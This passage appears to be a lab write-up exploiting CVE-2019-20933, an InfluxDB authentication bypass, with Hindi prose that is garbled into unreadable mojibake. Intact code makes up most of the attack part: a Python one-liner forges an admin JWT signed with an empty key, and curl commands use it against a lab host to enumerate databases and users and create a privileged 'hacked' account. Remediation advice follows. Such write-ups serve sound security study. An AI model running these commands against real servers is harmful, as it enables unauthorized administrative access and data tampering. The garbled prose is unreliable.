### **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЬрд╛рд▓реА JWT рдмрдирд╛рдирд╛**
рдЙрдкрд░реЛрдХреНрдд рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕реЗ, рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ рд╣реИрдВ:
1. рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдХ рдорд╛рдиреНрдп `username` рдХреЗ рд╕рд╛рде JWT рдмрдирд╛рдПрдВред
2. рдЗрд╕ рдЯреЛрдХрди рдХреЛ рдЦрд╛рд▓реА рдЧреБрдкреНрдд рдХреБрдВрдЬреА (`""`) рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░реЗрдВред
3. `/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ `Authorization: Bearer <token>` рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреЛрдХрди рднреЗрдЬреЗрдВред
#### **рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП JWT рд╕рдВрд░рдЪрдирд╛ рдХреА рдкрд╣рдЪрд╛рди**
JWT рдореЗрдВ 3 рдбреЙрдЯ-рдкреГрдердХ рднрд╛рдЧ рд╣реЛрддреЗ рд╣реИрдВ: `Header.Payload.Signature`
**рд╣реЗрдбрд░**
root@kitploit:~
{"alg":"HS256","typ":"JWT"}
**рдкреЗрд▓реЛрдб**
root@kitploit:~
{"username":"admin","exp":2147483647}
* `username`: рд▓рдХреНрд╖реНрдп рдЦрд╛рддрд╛ред рдЗрд╕ рд▓реИрдм рдореЗрдВ, InfluxDB рдбрд┐рдлрд╝реЙрд▓реНрдЯ `admin` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИред
* `exp`: рдЯреЛрдХрди рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп, рдЕрддреНрдпрдзрд┐рдХ рджреВрд░ рднрд╡рд┐рд╖реНрдп (рд╡рд░реНрд╖ 2038) рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рдорд╛рдкреНрддрд┐ рдХреЗ рдХрд╛рд░рдг рдЕрд╕реНрд╡реАрдХреГрддрд┐ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред
**рд╣рд╕реНрддрд╛рдХреНрд╖рд░**
root@kitploit:~
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
#### **Kali рдкрд░ Python рд╡рди-рд▓рд╛рдЗрдирд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ JWT рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛**
Kali рдкрд░, рд╣рдо рдПрдХ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдкреВрд░реНрдг JWT рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ:
root@kitploit:~
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

рд╣рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИ:
root@kitploit:~
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
* `b64url()`: Python dict рдХреЛ JSON рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ Base64URL рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдПрдирдХреЛрдб рдХрд░рддрд╛ рд╣реИ (JWT рдорд╛рдирдХ рдХреЗ рдЕрдиреБрд╕рд╛рд░ `=` рдкреИрдбрд┐рдВрдЧ рд╣рдЯрд╛рдХрд░)ред
* `hmac.new(b'', ...)`: **рдЦрд╛рд▓реА рдХреБрдВрдЬреА** (`b''`) рдХреЗ рд╕рд╛рде HMAC-SHA256 рдПрд▓реНрдЧреЛрд░рд┐рдердо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрджреЗрд╢ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╢реЛрд╖рдг рд╡реЗрдХреНрдЯрд░ рд╣реИ тАФ рдЦрд╛рд▓реА рдХреБрдВрдЬреА рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдирдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП `shared-secret` рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред
* рдЕрдВрддрд┐рдо рдкрд░рд┐рдгрд╛рдо JWT RFC 7519 рдорд╛рдирдХ рдХреЗ рдЕрдиреБрд░реВрдк `Header.Payload.Signature` рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИред
#### **CVE рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП`/query` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдЯреЛрдХрди рднреЗрдЬрдирд╛**
рдЯреЛрдХрди рдХреЛ рдПрдХ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ рдФрд░ рдлрд┐рд░ `SHOW DATABASES` рдХреНрд╡реЗрд░реА рднреЗрдЬреЗрдВ:
root@kitploit:~
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

**рдкрд░рд┐рдгрд╛рдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг:**
* рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ `401 Unauthorized` рд╕реЗ `200 OK` рдореЗрдВ рдмрджрд▓ рдЬрд╛рддреА рд╣реИред
* рд╕рд░реНрд╡рд░ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдореМрдЬреВрдж рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред
* рдпрд╣ рд╕рд╛рдмрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЦрд╛рд▓реА рдЧреБрдкреНрдд рдХреБрдВрдЬреА рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд JWT рдХреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХреНрд╡реЗрд░реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рд╣реБрдИрдВред
тЗТ **CVE-2019-20933 рдХреЛ рд▓рдХреНрд╖реНрдп рдкрд░ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╢реЛрд╖рд┐рдд рдХрд┐рдП рдЬрд╛рдиреЗ рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реБрдИ рд╣реИред** рдПрдХ рд░рд┐рдХреНрдд рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╕реНрд╡рдпрдВ-рдирд┐рд░реНрдорд┐рдд JWT рдХреЗ рд╕рд╛рде, рд╣рдордиреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджрд┐рдпрд╛ рдФрд░ `admin` рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд╡реЗрд░реА рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реАред
# **III. рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди**
рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЧрд╣рди рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВред `SHOW DATABASES` рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ 2 рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИрдВ: `_internal` (InfluxDB рдХрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдВрддрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рдбреЗрдЯрд╛рдмреЗрд╕) рдФрд░ `sample` (рдкрд░рд┐рдЪрд╛рд▓рди рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдбреЗрдЯрд╛рдмреЗрд╕)ред
### **1\. InfluxDB рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛**
root@kitploit:~
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИ: `admin` рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде (`admin: true`). рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рдЬрд╛рд▓реА JWT рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдХрдорд╛рддреНрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЦрд╛рддреЗ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рддрд┐рд░реВрдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИред
### **2.`_internal` рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдорд╛рдкреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛**
`sample` рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХреЛрдИ рдорд╛рдк рдирд╣реАрдВ рд╣реИ (рдпрд╣ рдЦрд╛рд▓реА рд╣реИ)ред рд╣рд╛рд▓рд╛рдВрдХрд┐, `_internal` рдбреЗрдЯрд╛рдмреЗрд╕ InfluxDB рдХрд╛ рдЖрдВрддрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рд╣рдореЗрд╢рд╛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдЯреНрд░рд┐рдХреНрд╕ рд╣реЛрддреЗ рд╣реИрдВ:
root@kitploit:~
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

`_internal` рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ **12 рдЖрдВрддрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рдорд╛рдк** рд╣реИрдВ: `cq`, `database`, `httpd`, `queryExecutor`, `runtime`, `shard`, `subscriber`, `tsm1_cache`, `tsm1_engine`, `tsm1_filestore`, `tsm1_wal`, рдФрд░ `write`. рдпреЗ рддрд╛рд▓рд┐рдХрд╛рдПрдБ InfluxDB рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рдкрд░рд┐рдЪрд╛рд▓рди рдЖрдБрдХрдбрд╝реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреА рд╣реИрдВтАФрдЬрд┐рд╕рдореЗрдВ HTTP рдХреНрд╡реЗрд░реА рд▓реЙрдЧ, рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рджрд░реНрд╢рди рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдФрд░ рд╕реНрдЯреЛрд░реЗрдЬ рдЗрдВрдЬрди рдХреА рд╕реНрдерд┐рддрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИред
### **3\. рдПрдХ рдирдпрд╛ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдирд╛**
рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ `admin` рдкрд╣реБрдБрдЪ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ **рд▓реЗрдЦрди рдФрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдкрд╣реБрдБрдЪ** рднреА рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рд╣рдо рдкреВрд░реНрдг рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рдмрдирд╛рддреЗ рд╣реИрдВ:
root@kitploit:~
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ `statement_id: 0` рдмрд┐рдирд╛ рдХрд┐рд╕реА `error` рдлрд╝реАрд▓реНрдб рдХреЗ рд▓реМрдЯрд╛рддреА рд╣реИтАФрдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИ рдХрд┐ `CREATE USER` рдХрдорд╛рдВрдб рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реБрдЖред рд╣рдорд▓рд╛рд╡рд░ рдЕрдм `hacked` / `Dung` рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреВрд░реНрдг рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдЬрд╛рд▓реА JWT рдЯреЛрдХрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред
**тЗТ рдпрд╣ рд╕рдмрд╕реЗ рдордЬрдмреВрдд рдкреНрд░рдорд╛рдг рд╣реИ рдХрд┐ рднреЗрджреНрдпрддрд╛ CVE-2019-20933 рди рдХреЗрд╡рд▓ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдмрд▓реНрдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ InfluxDB рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ** тАФрдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рд╡рдзрд╛рди, рдбреЗрдЯрд╛рдмреЗрд╕ рд╡рд┐рдирд╛рд╢ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕рдВрд╢реЛрдзрди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
### **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рднрд╛рд╡ рдХрд╛ рдЖрдХрд▓рди**
рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ OS рд╕реНрддрд░ рдкрд░ рд▓рдХреНрд╖рд┐рдд рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрд╕реАрдХреНрдпреВрд╢рди (RCE) рднреЗрджреНрдпрддрд╛рдУрдВ (рдЬреИрд╕реЗ рд▓реИрдм 3 рдореЗрдВ) рдХреЗ рд╡рд┐рдкрд░реАрдд, CVE-2019-20933 рдЕрдкрдиреЗ рдкреНрд░рднрд╛рд╡ рдХреЗ рджрд╛рдпрд░реЗ рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕-рд╕реНрддрд░реАрдп рдкреНрд░рд╢рд╛рд╕рди рддрдХ рд╕реАрдорд┐рдд рд░рдЦрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЧрдВрднреАрд░рддрд╛ рдирд┐рдореНрди рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЙрдЪреНрдЪ рдмрдиреА рд╣реБрдИ рд╣реИ:
* **рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдкреВрд░реНрдг рдиреБрдХрд╕рд╛рди** : рд╣рдорд▓рд╛рд╡рд░ InfluxDB рдХреЗ рдЕрдВрджрд░ рд░рд╣рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдФрд░ рдХрдВрдЯреЗрдирд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
* **рдЕрдЦрдВрдбрддрд╛ рдХрд╛ рдкреВрд░реНрдг рдиреБрдХрд╕рд╛рди** : рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рдкрд╛рд╕ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ, рд╣рдЯрд╛рдиреЗ рдпрд╛ рдзреЛрдЦрд╛рдзрдбрд╝реА рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВтАФрдЬреИрд╕рд╛ рдХрд┐ рдкреВрд░реНрдг рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде `hacked` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдлрд▓ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рд╕рд┐рджреНрдз рд╣реБрдЖ рд╣реИред
* **рд╕реНрдерд┐рд░рддрд╛** : рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЦрд╛рддрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд┐рд░рддрд╛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХрд╕реНрдЯрдо рдЬрд╛рд▓реА JWT рдкрд░ рдирд┐рд░реНрднрд░ рд╣реБрдП рдмрд┐рдирд╛ рдорд╛рдирдХ рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред
* **рдкрд╛рд░реНрд╢реНрд╡ рдЧрддрд┐ рдХреА рд╕рдВрднрд╛рд╡рдирд╛** : рдПрдХрддреНрд░рд┐рдд рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдХрдВрдЯреЗрдирд░ рд╣реЛрд╕реНрдЯрдирд╛рдо рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░) рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЙрдХрд░ рд╕рдмрдиреЗрдЯ рдХреЗ рднреАрддрд░ рдЖрд╕рдиреНрди рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рдкрд┐рд╡рдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
# **IV. рдЬреЛрдЦрд┐рдо рдЖрдХрд▓рди рдПрд╡рдВ рд╕реБрдзрд╛рд░ рдЕрдиреБрд╢рдВрд╕рд╛рдПрдБ**
### **рдЬреЛрдЦрд┐рдо рдЖрдХрд▓рди**
* * *
### **рд╕реБрдзрд╛рд░ рдЕрдиреБрд╢рдВрд╕рд╛рдПрдБ**
рдЗрд╕ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ рддреБрд░рдВрдд рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП:
### **рддрддреНрдХрд╛рд▓ рдЙрдкрд╛рдп (рдЕрд▓реНрдкрдХрд╛рд▓рд┐рдХ):**
1. **рдПрдХ рдордЬрдмреВрдд рд╕рд╛рдЭрд╛ рдЧреБрдкреНрдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд▓рд╛рдЧреВ рдХрд░реЗрдВ** рдпрджрд┐ рдЕрдкрдЧреНрд░реЗрдб рдХрд░рдирд╛ рддреБрд░рдВрдд рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ `[http]` рдЕрдиреБрднрд╛рдЧ рдХреЗ рддрд╣рдд рдПрдХ рд▓рдВрдмрд╛, рдЬрдЯрд┐рд▓ рдФрд░ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рд╛рдЭрд╛ рдЧреБрдкреНрдд рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `influxdb.conf` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: _рдиреЛрдЯ:_ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП InfluxDB рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд░реЗрдВред
root@kitploit:~
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
2. **InfluxDB рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рдкреИрдЪ рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдЧреНрд░реЗрдб рдХрд░реЗрдВ** InfluxDB рдХреЛ рддреБрд░рдВрдд рд╕рдВрд╕реНрдХрд░рдг **`1.7.6` рдпрд╛ рдЙрдЪреНрдЪрддрд░** рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рдЗрди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░реВрдЯреАрди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рд╣реИ рддрд╛рдХрд┐ рдЦрд╛рд▓реА рдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдЭрд╛ рдЧреБрдкреНрдд рдХреБрдВрдЬрд┐рдпреЛрдВ рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд JWT рдЯреЛрдХрди рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
### **рдЧрд╣рди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп (рджреАрд░реНрдШрдХрд╛рд▓рд┐рдХ):**
1. **рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрдЧрдореЗрдВрдЯреЗрд╢рди рдирд┐рдпрдо рд▓рд╛рдЧреВ рдХрд░реЗрдВ**
* API рдкреЛрд░реНрдЯ `8086` рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдХрднреА рдЙрдЬрд╛рдЧрд░ рди рдХрд░реЗрдВред
* рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдиреАрддрд┐рдпреЛрдВ рдпрд╛ рдкреГрдердХ рдбреЙрдХрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ InfluxDB рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХреЛ рдЕрдзрд┐рдХреГрдд рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛рдУрдВ (рдЬреИрд╕реЗ Grafana, Telegraf, рдпрд╛ рдмреИрдХрдПрдВрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди) рддрдХ рд╕рдЦреНрддреА рд╕реЗ рд╕реАрдорд┐рдд рдХрд░реЗрдВред
2. **HTTPS рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ**
